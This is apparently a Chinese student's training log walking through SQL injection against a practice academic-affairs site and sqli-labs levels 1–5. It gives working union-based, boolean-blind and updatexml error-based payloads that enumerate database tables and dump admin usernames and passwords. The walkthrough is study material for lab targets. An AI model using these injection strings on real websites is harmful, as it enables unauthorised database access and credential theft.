实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5

一、模拟注入教务系统

  1. 用火狐访问教师搭建好的教务系统靶场

    实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第1张图片

  2. SQLi漏洞利用

    1. 判断是否为动态网站,动态网站即可根据不同情况动态变更的网站,例如上图中点击查看详情,每个查看详情链接返回的结果都不同,说明是根据某种标识在后端数据库进行查询后返回给前端的,该网站是动态网站。

    2. 猜测后台查询语句

      1. 通过火狐的开发者工具查看到,点击查看详情后,发起了一条get请求,且根据newsId进行查询。由此猜测sql语句:select * from xxx where newsId = xxx

        实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第2张图片

      2. 判断后台查询语句中接受的传入的 参数的类型(经验证为数字型),因为可进行数值计算

        实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第3张图片

      3. 利用order by判断当前查询结果的列数,可得知为5列

        实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第4张图片

        实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第5张图片

      4. 判断前端渲染的显示位,以便我们把想要得到的信息在前端显示,可得知显示位为前三列,注意此处union前的select语句返回结果应为空

        实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第6张图片

      5. 使用union查询想要的信息

        1. 查询库名

          实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第7张图片

        2. 查询表名

          ?newsId=-1 union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=‘double_fish’

          实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第8张图片

        3. 查询列名

          ?newsId=-1 union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema=‘double_fish’ and table_name=‘t_admin’

          实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第9张图片

        4. 查询管理员账号密码

          ?newsId=-1 union select 1,username,password,4,5 from t_admin

          实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第10张图片

二、sqli-labs:less1-5

  1. less-1

    1. 首先根据提示输入id作为参数

      实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第11张图片

      实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第12张图片

    2. 判断参数类型:数字型/字符型,经检验为字符型

      实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第13张图片

      因为输入id=2-1返回的不是id=1的结果,而是id=2的结果,说明在字符型转数字型的时候,将id=2-1进行了强制类型转换,所以只剩下了2,查询结果即显示id=2的数据

    3. 判断闭合符,输入id=1’进行测试,发现报错,注意蓝框内为实际查询语句中的内容,而将1’和前一个闭合符分离开,发现多一个’,这就说明闭合符为’。

      实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第14张图片

    4. 利用order by判断查询结果列数,可得到为3列,注意浏览器在访问时将url地址进行了url编码,所以order by后面的#必须写为%23(#为注释符,可把后面的sql语句隔断

      实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第15张图片

      实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第16张图片

    5. 判断显示位,可知显示位为第2,3列

      实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第17张图片

    6. 查询库名,表名,列名,数据,至此,获取用户数据目标达成

      实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第18张图片

      ?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’%23

      实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第19张图片

      ?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’%23

      实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第20张图片

      ?id=-1’ union select 1,group_concat(username),group_concat(password) from users%23

      image-20210722150901796

  2. less-2

    此处发现为数字型参数,故过程不再赘述,只获取数据库名作为示例

    实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第21张图片

    实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第22张图片

    实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第23张图片

    实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第24张图片

  3. less-3

    1. 判断参数类型,发现为字符型

      实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第25张图片

      实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第26张图片

    2. 判断闭合符,发现此处闭合符为’)

      实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第27张图片

    3. 获取列数和显示位

      实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第28张图片

      实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第29张图片

      实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第30张图片

    4. 获取数据库名称,后续步骤与less-1和less-2类似,不再赘述

      实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第31张图片

  4. less-4

    本关也考察闭合符的判断,故过程不再赘述,只放关键截图,闭合符判断为")

    实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第32张图片

  5. less-5

    方法1-布尔盲注:

    判断参数类型不再赘述,经检验为字符型且闭合符为’

    实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第33张图片

    利用where子句查询进行布尔盲注,可以看到,当and连接的两个条件中有一个为假即结果为空

    实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第34张图片

    首先利用length函数和二分法逼近库名的位数,可得知为8位

    实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第35张图片

    实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第36张图片

    然后利用substr和ascii函数和二分法逼近每一位的字母

    实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第37张图片

    实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第38张图片

    得到第一位为ascii码值为115的字母,查表可得为s,其余位字母依次爆破为e c u r i t y

    方法2-报错注入:

    利用1=(updatexml(1,concat(0x3a,(SUB_QRY)),1))

    获得库名

    实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第39张图片

    获得表名

    ?id=1’ and 1=(updatexml(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)),1))%23

    实训第二天记录-sql注入实战:教务系统模拟注入+sqli-labs less1-5_第40张图片

你可能感兴趣的:(sql,安全)